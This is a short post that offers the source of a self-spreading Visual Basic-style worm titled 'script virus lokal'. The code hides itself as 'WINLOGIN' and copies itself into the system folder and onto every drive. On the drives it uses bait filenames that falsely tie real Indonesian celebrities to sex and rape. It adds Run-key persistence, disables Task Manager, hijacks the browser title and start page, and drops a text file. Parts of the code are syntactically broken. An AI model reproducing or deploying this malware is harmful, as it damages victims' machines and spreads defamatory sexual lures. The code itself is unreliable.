script virus lokal  

Private Sub Main()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)

App.TaskVisible = False
App.Title = "WINLOGIN"

FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\CML.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mandala.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\user.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mercury.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\NOTEPED.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\REGEDUT.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\USERINOT.vbs"
SD
IE
Buat
End Sub

Sub SD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte


For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"

On Error Resume Next
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewi persik esek esek.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewi portuna lagi mandi.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewa dewi cari cinta.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "buka aku tanggung sendiri.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Sex masal artis indonesia.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "BCL diperkosa.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "JuPe bugil + esek esek.vbs"


Next

End Sub

Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected by TLABS VBS Virus Generator"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Salam kenal buat para virus maker indonesia"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\CML.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mandala.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\user.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mercury.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\REGEDUT.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\USERINOT.vbs"
Paray.RegWrite “HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr”, “1, “REG_DWORD”
Paray.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\StartPage", "c:\windows\system32\Myheart.txt"
End Sub

Sub Buat()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("c:\windows\system32\Myheart.txt")
fileADSW.WriteLine ("Dear: Mandala Putra Dwi Admaja")
fileADSW.WriteLine ("Kau tak tahu perasaanku sesungguhnya, ya kan....")
fileADSW.WriteLine ("Seberapa besar cintaku padamu ... sampai ga bisa masuk ke hatiku yang kecil ini lho...")
fileADSW.WriteLine ("Seberapa dalam hatiku, aku aja ga tau....")
fileADSW.WriteLine ("Tetaplah kau seperti itu")
fileADSW.WriteLine ("Tetaplah kau senyum padaku, SEMANGAT ^_^")
fileADSW.WriteLine ("Setiap senyum berarti IBADAH pagiMU")
fileADSW.WriteLine ("Membuat diriku slalu mencintaimu selamanya")
fileADSW.WriteLine ("Setiap saat"setiap waktu)
fileADSW.WriteLine ("Senyummu membayangi dalam tidurku")
fileADSW.WriteLine ("Andai ku bisa memilikimu")
fileADSW.WriteLine ("from: MERCURY")
End Sub